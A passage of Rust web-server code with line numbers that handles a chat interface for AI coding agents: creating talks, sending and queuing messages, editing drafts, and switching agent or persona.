6979 match extension(name).as_deref() {
6980 Some("png") => "image/png",
6981 Some("jpg" | "jpeg") => "image/jpeg",
6982 Some("gif") => "image/gif",
6983 Some("webp") => "image/webp",
6984 Some("svg") => "image/svg+xml",
6985 Some("css") => "text/css; charset=utf-8",
6986 Some("txt") => "text/plain; charset=utf-8",
6987 _ => "application/octet-stream",
6988 }
6989}
6990
6991fn is_svg(name: &str) -> bool {
6994 extension(name).as_deref() == Some("svg")
6995}
6996
6997fn extension(name: &str) -> Option<String> {
6999 name.rsplit_once('.')
7000 .map(|(_, ext)| ext.to_ascii_lowercase())
7001}
7002
7003fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
7020 let mut res = (
7021 [
7022 (header::CONTENT_TYPE, content_type),
7023 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
7024 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7025 (header::REFERRER_POLICY, "no-referrer"),
7026 ],
7027 body,
7028 )
7029 .into_response();
7030 if download {
7031 res.headers_mut().insert(
7032 header::CONTENT_DISPOSITION,
7033 HeaderValue::from_static("attachment"),
7034 );
7035 }
7036 res
7037}
7038
7039#[derive(Debug, Serialize)]
7045struct TalkView {
7046 #[serde(flatten)]
7047 talk: Talk,
7048 turn_bodies_md: Vec<Vec<md::Node>>,
7049 turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
7051 pending_messages_md: Vec<Option<Vec<md::Node>>>,
7052 thinking: bool,
7060 context: talk::ContextUsage,
7064 operator_name: Option<String>,
7067 persona_name: Option<String>,
7069 persona_avatar: String,
7072 operator_avatar: String,
7074 magi_avatar: String,
7075}
7076
7077impl TalkView {
7078 fn new(talk: Talk, thinking: bool, home: &FsPath) -> Self {
7081 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7082 Self::with_config(talk, thinking, cfg.as_ref(), home)
7083 }
7084
7085 fn with_config(mut talk: Talk, thinking: bool, cfg: Option<&Config>, home: &FsPath) -> Self {
7088 let snapshot = talk.clone();
7090 for (index, turn) in talk.turns.iter_mut().enumerate() {
7091 let original = &snapshot.turns[index];
7092 if turn.messages.is_empty() {
7093 if let Some(display) = talk::notice_display(&snapshot, original, None) {
7094 turn.messages.push(talk::Message {
7095 sender: Some(talk::Sender::Magi),
7096 body: original.body.clone(),
7097 display: Some(display),
7098 attachments: original.attachments.clone(),
7099 reply: None,
7100 });
7101 }
7102 } else {
7103 for (i, message) in turn.messages.iter_mut().enumerate() {
7104 message.display =
7105 talk::notice_display(&snapshot, original, original.messages.get(i));
7106 if message.display.is_some() {
7107 message.sender = Some(talk::Sender::Magi);
7108 }
7109 }
7110 }
7111 }
7112 for message in &mut talk.pending_messages {
7113 if message.display.is_none()
7114 && (message.sender == Some(talk::Sender::Magi)
7115 || snapshot
7116 .completion_notices
7117 .iter()
7118 .any(|r| r.notice == message.body))
7119 {
7120 message.display = crate::prompt::legacy_notice_display(&message.body);
7121 if message.display.is_some() {
7122 message.sender = Some(talk::Sender::Magi);
7123 }
7124 }
7125 }
7126 if talk.pending_messages.is_empty()
7127 && snapshot
7128 .completion_notices
7129 .iter()
7130 .any(|r| r.notice == talk.pending)
7131 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
7132 {
7133 talk.pending_messages.push(talk::Message {
7134 sender: Some(talk::Sender::Magi),
7135 display: Some(display),
7136 body: talk.pending.clone(),
7137 attachments: talk.pending_attachments.clone(),
7138 reply: None,
7139 });
7140 }
7141 let excerpts: Vec<Vec<Option<String>>> = talk
7142 .turns
7143 .iter()
7144 .map(|turn| {
7145 turn.messages
7146 .iter()
7147 .map(|m| {
7148 m.display
7149 .as_ref()
7150 .map(|d| d.facts.chars().take(240).collect())
7151 })
7152 .collect()
7153 })
7154 .collect();
7155 for turn in &mut talk.turns {
7156 let provenance = talk::sender(turn, None);
7157 turn.sender = Some(provenance);
7158 for message in &mut turn.messages {
7159 message.sender = Some(message.sender.unwrap_or(provenance));
7160 }
7161 }
7162 let senders: Vec<Vec<talk::Sender>> = talk
7164 .turns
7165 .iter()
7166 .map(|turn| {
7167 if turn.messages.is_empty() {
7168 vec![talk::sender(turn, None)]
7169 } else {
7170 turn.messages
7171 .iter()
7172 .map(|m| talk::sender(turn, Some(m)))
7173 .collect()
7174 }
7175 })
7176 .collect();
7177 for reply in talk
7178 .turns
7179 .iter_mut()
7180 .flat_map(|t| t.messages.iter_mut())
7181 .chain(talk.pending_messages.iter_mut())
7182 .filter_map(|m| m.reply.as_mut())
7183 {
7184 if let Some(Some(excerpt)) = excerpts
7185 .get(reply.target.turn)
7186 .and_then(|ms| ms.get(reply.target.message))
7187 {
7188 reply.excerpt = excerpt.clone();
7189 reply.sender = Some(talk::Sender::Magi);
7190 }
7191 if reply.sender.is_none() {
7192 reply.sender = senders
7193 .get(reply.target.turn)
7194 .and_then(|messages| messages.get(reply.target.message))
7195 .copied();
7196 }
7197 }
7198 let context = talk::context_usage(&talk, cfg);
7199 let turn_bodies_md = talk
7200 .turns
7201 .iter()
7202 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
7203 .collect();
7204 let turn_messages_md = talk
7205 .turns
7206 .iter()
7207 .map(|turn| {
7208 if turn.messages.is_empty() {
7209 vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
7210 } else {
7211 turn.messages
7212 .iter()
7213 .map(|message| {
7214 notice_markdown(
7215 message.sender.unwrap_or(talk::Sender::Operator),
7216 &message.body,
7217 message.display.as_ref(),
7218 )
7219 })
7220 .collect()
7221 }
7222 })
7223 .collect();
7224 let pending_messages_md = talk
7225 .pending_messages
7226 .iter()
7227 .map(|message| {
7228 notice_markdown(
7229 message.sender.unwrap_or(talk::Sender::Operator),
7230 &message.body,
7231 message.display.as_ref(),
7232 )
7233 })
7234 .collect();
7235 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
7236 let persona_name = persona::find(specs, &talk.persona)
7237 .filter(|p| !p.is_default())
7238 .map(|p| p.name);
7239 let persona_avatar = avatar_url(
7240 &talk.id,
7241 &persona::find(specs, &talk.persona)
7242 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default")),
7243 );
7244 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
7245 Self {
7246 turn_bodies_md,
7247 turn_messages_md,
7248 pending_messages_md,
7249 thinking,
7250 context,
7251 operator_name,
7252 persona_name,
7253 persona_avatar,
7254 magi_avatar: magi_icon_url(home),
7255 operator_avatar: format!(
7256 "/avatars/operator.svg?v={}",
7257 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
7258 ),
7259 talk,
7260 }
7261 }
7262}
7263
7264fn notice_markdown(
7266 sender: talk::Sender,
7267 body: &str,
7268 display: Option<&crate::prompt::NoticeDisplay>,
7269) -> Option<Vec<md::Node>> {
7270 if sender != talk::Sender::Magi {
7271 return None;
7272 }
7273 let text = if let Some(display) = display {
7274 display.facts.as_str()
7275 } else {
7276 if crate::prompt::is_completion_notice(body)
7279 || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
7280 {
7281 return None;
7282 }
7283 body.strip_prefix("magi: ").unwrap_or(body)
7284 };
7285 Some(md::to_nodes(text, &md::ImageBase::None))
7286}
7287
7288#[derive(Debug, Serialize)]
7293struct TalkDetailView {
7294 #[serde(flatten)]
7295 view: TalkView,
7296 tasks: Vec<TaskView>,
7297 roster: Vec<RosterEntry>,
7300 personas: Vec<PersonaEntry>,
7303}
7304
7305#[derive(Debug, Serialize)]
7307struct PersonaEntry {
7308 id: String,
7309 name: String,
7310 avatar: String,
7312}
7313
7314#[derive(Debug, Serialize)]
7316struct RosterEntry {
7317 id: String,
7318 kind: AgentKind,
7319 runnable: bool,
7321}
7322
7323async fn talks_list(
7328 State(ui): State<Arc<Ui>>,
7329 Query(q): Query<ListQuery>,
7330) -> ApiResult<Json<Vec<TalkView>>> {
7331 blocking(move || {
7332 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
7333 Ok(Json(
7334 ui.talks
7335 .list()
7336 .into_iter()
7337 .filter(|talk| q.contains(&talk.id))
7338 .map(|talk| {
7339 let thinking = ui.is_thinking(&talk.id);
7340 let cfg = configs
7341 .entry(talk.repo.clone())
7342 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
7343 TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home)
7344 })
7345 .collect(),
7346 ))
7347 })
7348 .await
7349}
7350
7351#[derive(Debug, Default, Deserialize)]
7356#[serde(default)]
7357struct NewTalk {
7358 agent: Option<String>,
7359 repo: Option<PathBuf>,
7360 preferred_agent: Option<serde_json::Value>,
7364 persona: Option<serde_json::Value>,
7365 implementers: Option<serde_json::Value>,
7366}
7367
7368async fn talk_post(
7371 State(ui): State<Arc<Ui>>,
7372 body: std::result::Result<Json<NewTalk>, JsonRejection>,
7373) -> ApiResult<impl IntoResponse> {
7374 let body = match body {
7378 Ok(Json(body)) => body,
7379 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
7380 Err(e) => return Err(ApiError::bad_request(e.body_text())),
7381 };
7382 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
7383 let cfg = config_for(&repo).await?;
7384 let view = blocking(move || {
7385 let preferred = talk::Preferred {
7386 agent: body
7387 .preferred_agent
7388 .as_ref()
7389 .and_then(|v| v.as_str())
7390 .map(str::to_owned),
7391 persona: body
7392 .persona
7393 .as_ref()
7394 .and_then(|v| v.as_str())
7395 .map(str::to_owned),
7396 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
7397 };
7398 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
7399 let thinking = ui.is_thinking(&talk.id);
7400 Ok(TalkView::new(talk, thinking, &ui.home))
7401 })
7402 .await?;
7403 Ok((StatusCode::CREATED, Json(view)))
7404}
7405
7406async fn talk_detail(
7408 State(ui): State<Arc<Ui>>,
7409 Path(id): Path<String>,
7410) -> ApiResult<Json<TalkDetailView>> {
7411 blocking(move || {
7412 let id = resolve_talk(&ui.talks, &id)?;
7413 let talk = ui.talks.get(&id)?;
7414 let thinking = ui.is_thinking(&talk.id);
7415 let tasks = talk::tasks_of(&ui.queue, &talk.id)
7416 .into_iter()
7417 .map(TaskView::from)
7418 .collect();
7419 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7420 let roster = cfg
7421 .as_ref()
7422 .map(|cfg| {
7423 cfg.agents
7424 .iter()
7425 .map(|a| RosterEntry {
7426 id: a.id.clone(),
7427 kind: a.kind,
7428 runnable: agent::installed(a),
7429 })
7430 .collect()
7431 })
7432 .unwrap_or_default();
7433 let specs = cfg
7434 .as_ref()
7435 .map(|cfg| cfg.talk.personas.clone())
7436 .unwrap_or_default();
7437 let personas = persona::catalog(&specs)
7438 .into_iter()
7439 .map(|p| PersonaEntry {
7440 avatar: avatar_url(&talk.id, &p),
7441 id: p.id,
7442 name: p.name,
7443 })
7444 .collect();
7445 Ok(Json(TalkDetailView {
7446 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home),
7447 tasks,
7448 roster,
7449 personas,
7450 }))
7451 })
7452 .await
7453}
7454
7455#[derive(Debug, Default, Deserialize)]
7461#[serde(default, deny_unknown_fields)]
7462struct NewTalkTurn {
7463 reply_to: Option<talk::ReplyTarget>,
7464 text: String,
7465 attachments: Vec<String>,
7466}
7467
7468#[derive(Debug, Deserialize)]
7469#[serde(deny_unknown_fields)]
7470struct EditTalkPending {
7471 #[serde(default)]
7472 message: Option<usize>,
7473 text: String,
7474 expected_text: String,
7475 expected_attachments: Vec<String>,
7476}
7477
7478#[derive(Debug, Deserialize)]
7479#[serde(deny_unknown_fields)]
7480struct ClearTalkPending {
7481 expected_text: String,
7482 expected_attachments: Vec<String>,
7483}
7484
7485async fn talk_say(
7497 State(ui): State<Arc<Ui>>,
7498 Path(id): Path<String>,
7499 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
7500) -> ApiResult<(StatusCode, Json<TalkView>)> {
7501 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7502 if body.text.trim().is_empty() && body.attachments.is_empty() {
7503 return Err(ApiError::bad_request("say something"));
7504 }
7505
7506 let id = {
7507 let ui = Arc::clone(&ui);
7508 let asked = id.clone();
7509 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7510 };
7511 {
7515 let ui = Arc::clone(&ui);
7516 let id = id.clone();
7517 blocking(move || {
7518 let talk = ui.talks.get(&id)?;
7519 if !talk.status.open() {
7520 return Err(ApiError::conflict(format!(
7521 "talk {} is {} and takes no more turns",
7522 talk.short(),
7523 talk.status.as_str()
7524 )));
7525 }
7526 Ok(())
7527 })
7528 .await?;
7529 }
7530
7531 let attachments = {
7536 let ui = Arc::clone(&ui);
7537 let id = id.clone();
7538 let ids = body.attachments.clone();
7539 blocking(move || {
7540 ids.into_iter()
7541 .map(|att_id| {
7542 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
7543 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
7544 })
7545 })
7546 .collect::<ApiResult<Vec<talk::Attachment>>>()
7547 })
7548 .await?
7549 };
7550
7551 let start = {
7556 let ui = Arc::clone(&ui);
7557 let id = id.clone();
7558 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
7559 };
7560 let turn_guard = match start {
7561 TalkTurnStart::Claimed(turn_guard) => turn_guard,
7562 TalkTurnStart::Pending => {
7563 return Err(ApiError::conflict(
7564 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
7565 ));
7566 }
7567 TalkTurnStart::Foreign => {
7568 return Err(ApiError::conflict(
7569 "a turn is already running in another process; try again when it has finished",
7570 ));
7571 }
7572 TalkTurnStart::Busy => {
7573 let (tx, rx) = tokio::sync::oneshot::channel();
7589 tokio::spawn({
7590 let ui = Arc::clone(&ui);
7591 let id = id.clone();
7592 let said = body.text.clone();
7593 let reply_to = body.reply_to.clone();
7594 async move {
7595 let written = blocking({
7596 let ui = Arc::clone(&ui);
7597 let id = id.clone();
7598 move || {
7599 let mut talk = ui.talks.get(&id)?;
7600 #[cfg(test)]
7605 if let Some(gate) = ui
7606 .busy_queue_gate
7607 .lock()
7608 .unwrap_or_else(PoisonError::into_inner)
7609 .take()
7610 {
7611 let _ = gate.reached.send(());
7612 let _ = gate.release.recv();
7613 }
7614 if let Err(error) = talk::queue_reply(
7615 &mut talk,
7616 &ui.talks,
7617 &said,
7618 attachments,
7619 reply_to,
7620 ) {
7621 if let Ok(fresh) = ui.talks.get(&id) {
7622 if !fresh.status.open() {
7623 return Err(ApiError::conflict(format!(
7624 "talk {} is {} and takes no more turns",
7625 fresh.short(),
7626 fresh.status.as_str()
7627 )));
7628 }
7629 }
7630 return Err(
7631 if error.to_string().contains("invalid reply target") {
7632 ApiError::bad_request("invalid reply target")
7633 } else {
7634 ApiError::from(error)
7635 },
7636 );
7637 }
7638 let claim = match ui.begin_queued_talk_turn(&id)? {
7649 Some(turn_guard) => {
7650 let (cfg, _) = Config::discover(&talk.repo, None)?;
7651 Some((talk.clone(), cfg, turn_guard))
7652 }
7653 None => None,
7654 };
7655 let thinking = ui.is_thinking(&id);
7656 Ok((TalkView::new(talk, thinking, &ui.home), claim))
7657 }
7658 })
7659 .await;
7660 let (view, reclaimed) = match written {
7661 Ok(pair) => pair,
7662 Err(e) => {
7663 let _ = tx.send(Err(e));
7668 return;
7669 }
7670 };
7671 let _ = tx.send(Ok(view));
7674 if let Some((talk, cfg, turn_guard)) = reclaimed {
7675 let talks = ui.talks.clone();
7676 drain_loop(talk, talks, cfg, id, turn_guard).await;
7677 }
7678 }
7679 });
7680 let view = rx
7681 .await
7682 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7683 return Ok((StatusCode::ACCEPTED, Json(view)));
7684 }
7685 };
7686
7687 let (talk, cfg) = {
7688 let ui = Arc::clone(&ui);
7689 let id = id.clone();
7690 blocking(move || {
7691 let talk = ui.talks.get(&id)?;
7692 let (cfg, _) = Config::discover(&talk.repo, None)?;
7693 Ok((talk, cfg))
7694 })
7695 .await?
7696 };
7697
7698 let talks = ui.talks.clone();
7699 let (tx, rx) = tokio::sync::oneshot::channel();
7714 tokio::spawn({
7715 let ui = Arc::clone(&ui);
7716 let talks = talks.clone();
7717 let id = id.clone();
7718 let said = body.text.clone();
7719 let reply_to = body.reply_to.clone();
7720 let mut talk = talk.clone();
7721 async move {
7722 let recorded = blocking({
7723 let talks = talks.clone();
7724 move || {
7725 if let Err(error) =
7726 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
7727 {
7728 if let Ok(fresh) = talks.get(&talk.id) {
7729 if !fresh.status.open() {
7730 return Err(ApiError::conflict(format!(
7731 "talk {} is {} and takes no more turns",
7732 fresh.short(),
7733 fresh.status.as_str()
7734 )));
7735 }
7736 }
7737 return Err(if error.to_string().contains("invalid reply target") {
7738 ApiError::bad_request("invalid reply target")
7739 } else {
7740 ApiError::from(error)
7741 });
7742 }
7743 Ok((said.trim().to_owned(), talk))
7749 }
7750 })
7751 .await;
7752 let (text, mut talk) = match recorded {
7753 Ok(pair) => pair,
7754 Err(e) => {
7755 let _ = tx.send(Err(e));
7759 return;
7760 }
7761 };
7762 let queued = talk.clone();
7763 let thinking = ui.is_thinking(&id);
7764 let _ = tx.send(Ok((queued, thinking)));
7767
7768 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
7769 tracing::warn!("talk {id} turn failed: {e:#}");
7773 }
7774 drain_loop(talk, talks, cfg, id, turn_guard).await;
7777 }
7778 });
7779
7780 let (queued, thinking) = rx
7781 .await
7782 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7783
7784 Ok((
7786 StatusCode::ACCEPTED,
7787 Json(TalkView::new(queued, thinking, &ui.home)),
7788 ))
7789}
7790
7791async fn talk_pending_resume(
7795 State(ui): State<Arc<Ui>>,
7796 Path(id): Path<String>,
7797) -> ApiResult<(StatusCode, Json<TalkView>)> {
7798 let id = {
7799 let ui = Arc::clone(&ui);
7800 let asked = id.clone();
7801 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7802 };
7803 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7804 return Err(ApiError::conflict(
7805 "a talk turn is already running; the queued draft will be handled by it",
7806 ));
7807 };
7808 let (talk, cfg) = {
7809 let ui = Arc::clone(&ui);
7810 let id = id.clone();
7811 blocking(move || {
7812 let talk = ui.talks.get(&id)?;
7813 if !talk.status.open() {
7814 return Err(ApiError::conflict(format!(
7815 "talk {} is {} and takes no more turns",
7816 talk.short(),
7817 talk.status.as_str()
7818 )));
7819 }
7820 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7821 return Err(ApiError::conflict("there is no queued draft to resume"));
7822 }
7823 let (cfg, _) = Config::discover(&talk.repo, None)?;
7824 Ok((talk, cfg))
7825 })
7826 .await?
7827 };
7828 let view = TalkView::new(talk.clone(), true, &ui.home);
7829 let talks = ui.talks.clone();
7830 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7831 Ok((StatusCode::ACCEPTED, Json(view)))
7832}
7833
7834async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
7850 drain_loop_started(talk, talks, cfg, id, turn, None).await;
7851}
7852
7853async fn settle_settings_turn(
7857 talk: Talk,
7858 talks: Talks,
7859 cfg: Config,
7860 id: String,
7861 turn: TalkTurnGuard,
7862 observed: u64,
7863) -> bool {
7864 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7865 let turns = Arc::clone(&turn.turns);
7866 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
7867 if live.queued.get(&id).copied().unwrap_or(0) == observed {
7868 turn.release(&mut live);
7870 return false;
7871 }
7872 }
7873 let (started, settled) = tokio::sync::oneshot::channel();
7874 tokio::spawn(drain_loop_started(
7875 talk,
7876 talks,
7877 cfg,
7878 id,
7879 turn,
7880 Some(started),
7881 ));
7882 settled.await.unwrap_or(false)
7883}
7884
7885async fn drain_loop_started(
7886 mut talk: Talk,
7887 talks: Talks,
7888 cfg: Config,
7889 id: String,
7890 turn: TalkTurnGuard,
7891 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
7892) {
7893 let live_set = Arc::clone(&turn.turns);
7894 let mut turn = Some(turn);
7902 loop {
7903 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
7904 tracing::warn!("talk {id} lost its turn lease; not draining further");
7907 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7908 if let Some(turn) = turn.take() {
7909 turn.release(&mut live);
7910 }
7911 break;
7912 }
7913 {
7914 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7917 if live.parking {
7918 if let Some(turn) = turn.take() {
7919 turn.release(&mut live);
7920 }
7921 break;
7922 }
7923 }
7924 let observed = live_set
7928 .lock()
7929 .unwrap_or_else(PoisonError::into_inner)
7930 .queued
7931 .get(&id)
7932 .copied()
7933 .unwrap_or(0);
7934 let drained = blocking({
7935 let talks = talks.clone();
7936 let live_set = Arc::clone(&live_set);
7937 move || {
7938 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7943 let result = if live.parking {
7944 Ok(None)
7945 } else {
7946 talk::drain(&mut talk, &talks)
7947 };
7948 drop(live);
7949 Ok((talk, result))
7950 }
7951 })
7952 .await;
7953 let (next_talk, result) = match drained {
7954 Ok(drained) => drained,
7955 Err(e) => {
7956 tracing::warn!(
7957 status = %e.status,
7958 message = %e.message,
7959 "talk {id} could not start queued-text drain"
7960 );
7961 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7962 turn.take()
7963 .expect("held for the whole loop until released here")
7964 .release(&mut live);
7965 break;
7966 }
7967 };
7968 talk = next_talk;
7969 let drained = match result {
7970 Ok(Some(drained)) => drained,
7971 Ok(None) => {
7972 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7973 if live.queued.get(&id).copied().unwrap_or(0) != observed {
7974 continue;
7975 }
7976 turn.take()
7977 .expect("held for the whole loop until released here")
7978 .release(&mut live);
7979 break;
7980 }
7981 Err(e) => {
7982 tracing::warn!("talk {id} could not drain queued text: {e:#}");
7983 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7984 turn.take()
7985 .expect("held for the whole loop until released here")
7986 .release(&mut live);
7987 break;
7988 }
7989 };
7990 if let Some(started) = started.take() {
7991 let _ = started.send(true);
7992 }
7993 let responded = match turn.as_ref() {
7994 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
7995 None => Err(anyhow::anyhow!("the turn guard was released")),
7996 };
7997 if let Err(e) = responded {
7998 tracing::warn!("talk {id} turn failed: {e:#}");
7999 }
8000 }
8001 drop(turn);
8002 if let Some(started) = started {
8003 let _ = started.send(false);
8004 }
8005}
8006
8007async fn talk_pending_clear(
8009 State(ui): State<Arc<Ui>>,
8010 Path(id): Path<String>,
8011 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
8012) -> ApiResult<Json<TalkView>> {
8013 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8014 blocking(move || {
8015 let id = resolve_talk(&ui.talks, &id)?;
8016 let mut talk = ui.talks.get(&id)?;
8017 if !talk.status.open() {
8018 return Err(ApiError::conflict(format!(
8019 "talk {} is {} and takes no more turns",
8020 talk.short(),
8021 talk.status.as_str()
8022 )));
8023 }
8024 if !talk::clear_pending_if_matches(
8025 &mut talk,
8026 &ui.talks,
8027 &body.expected_text,
8028 &body.expected_attachments,
8029 )? {
8030 return Err(ApiError::conflict(
8031 "queued message changed; reload it before clearing",
8032 ));
8033 }
8034 let thinking = ui.is_thinking(&talk.id);
8035 Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8036 })
8037 .await
8038}
8039
8040async fn talk_pending_edit(
8044 State(ui): State<Arc<Ui>>,
8045 Path(id): Path<String>,
8046 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
8047) -> ApiResult<Json<TalkView>> {
8048 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8049 let (view, reclaimed) = blocking({
8050 let ui = Arc::clone(&ui);
8051 move || {
8052 let id = resolve_talk(&ui.talks, &id)?;
8053 let mut talk = ui.talks.get(&id)?;
8054 if !talk.status.open() {
8055 return Err(ApiError::conflict(format!(
8056 "talk {} is {} and takes no more turns",
8057 talk.short(),
8058 talk.status.as_str()
8059 )));
8060 }
8061 if !talk::edit_pending_message(
8062 &mut talk,
8063 &ui.talks,
8064 &body.text,
8065 &body.expected_text,
8066 &body.expected_attachments,
8067 body.message,
8068 )? {
8069 return Err(ApiError::conflict(
8070 "queued message changed; reload it before editing",
8071 ));
8072 }
8073 let claim = match ui.begin_queued_talk_turn(&id)? {
8074 Some(turn_guard) => {
8075 let (cfg, _) = Config::discover(&talk.repo, None)?;
8076 Some((talk.clone(), cfg, id.clone(), turn_guard))
8077 }
8078 None => None,
8079 };
8080 let thinking = ui.is_thinking(&id);
8081 Ok((TalkView::new(talk, thinking, &ui.home), claim))
8082 }
8083 })
8084 .await?;
8085 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
8086 let talks = ui.talks.clone();
8087 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8088 }
8089 Ok(Json(view))
8090}
8091
8092fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
8094 if talk.status.open() {
8095 return Ok(());
8096 }
8097 Err(ApiError::conflict(format!(
8098 "talk {} is {} and takes no more turns",
8099 talk.short(),
8100 talk.status.as_str()
8101 )))
8102}
8103
8104#[derive(Debug, Deserialize)]
8106struct TalkAgent {
8107 agent: String,
8108}
8109
8110async fn talk_agent(
8115 State(ui): State<Arc<Ui>>,
8116 Path(id): Path<String>,
8117 Json(body): Json<TalkAgent>,
8118) -> ApiResult<Json<TalkView>> {
8119 let id = {
8120 let ui = Arc::clone(&ui);
8121 blocking(move || resolve_talk(&ui.talks, &id)).await?
8122 };
8123 let repo = {
8124 let ui = Arc::clone(&ui);
8125 let id = id.clone();
8126 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8127 };
8128 let cfg = config_for(&repo).await?;
8129 {
8131 let ui = Arc::clone(&ui);
8132 let id = id.clone();
8133 let cfg = cfg.clone();
8134 let wanted = body.agent.clone();
8135 blocking(move || {
8136 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
8137 .map_err(ApiError::bad_request_from)?;
8138 refuse_if_closed(&ui.talks.get(&id)?)
8139 })
8140 .await?;
8141 }
8142 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8143 return Err(ApiError::conflict(
8144 "a talk turn is running; change the agent once it has answered",
8145 ));
8146 };
8147 let switched = {
8148 let ui = Arc::clone(&ui);
8149 let id = id.clone();
8150 let cfg = cfg.clone();
8151 blocking(move || {
8152 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
8153 .map_err(ApiError::bad_request_from)?;
8154 let mut talk = ui.talks.get(&id)?;
8155 if !talk.status.open() {
8156 return Err(ApiError::conflict(format!(
8157 "talk {} is {} and takes no more turns",
8158 talk.short(),
8159 talk.status.as_str()
8160 )));
8161 }
8162 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
8163 Ok(talk)
8164 })
8165 .await
8166 };
8167 let observed = ui.queued_generation(&id);
8172 let fresh = {
8173 let ui = Arc::clone(&ui);
8174 let id = id.clone();
8175 blocking(move || Ok(ui.talks.get(&id)?)).await
8176 };
8177 let draining = match fresh {
8178 Ok(talk) => {
8179 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8180 }
8181 Err(_) => false,
8182 };
8183 let talk = switched?;
8184 Ok(Json(TalkView::new(talk, draining, &ui.home)))
8185}
8186
8187#[derive(Debug, Deserialize)]
8189struct TalkPersona {
8190 persona: String,
8191}
8192
8193async fn talk_persona(
8197 State(ui): State<Arc<Ui>>,
8198 Path(id): Path<String>,
8199 Json(body): Json<TalkPersona>,
8200) -> ApiResult<Json<TalkView>> {
8201 let id = {
8202 let ui = Arc::clone(&ui);
8203 blocking(move || resolve_talk(&ui.talks, &id)).await?
8204 };
8205 let repo = {
8206 let ui = Arc::clone(&ui);
8207 let id = id.clone();
8208 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8209 };
8210 let cfg = config_for(&repo).await?;
8211 {
8213 let ui = Arc::clone(&ui);
8214 let id = id.clone();
8215 let cfg = cfg.clone();
8216 let wanted = body.persona.clone();
8217 blocking(move || {
8218 if persona::find(&cfg.talk.personas, &wanted).is_none() {
8219 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
8220 }
8221 refuse_if_closed(&ui.talks.get(&id)?)
8222 })
8223 .await?;
8224 }
8225 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8226 return Err(ApiError::conflict(
8227 "a talk turn is running; change the persona once it has answered",
8228 ));
8229 };
8230 let switched = {
8231 let ui = Arc::clone(&ui);
8232 let id = id.clone();
8233 let cfg = cfg.clone();
8234 blocking(move || {
8235 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
8236 return Err(ApiError::bad_request(format!(
8237 "unknown persona `{}`",
8238 body.persona
8239 )));
8240 };
8241 let mut talk = ui.talks.get(&id)?;
8242 if !talk.status.open() {
8243 return Err(ApiError::conflict(format!(
8244 "talk {} is {} and takes no more turns",
8245 talk.short(),
8246 talk.status.as_str()
8247 )));
8248 }
8249 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
8250 Ok(talk)
8251 })
8252 .await
8253 };
8254 let observed = ui.queued_generation(&id);
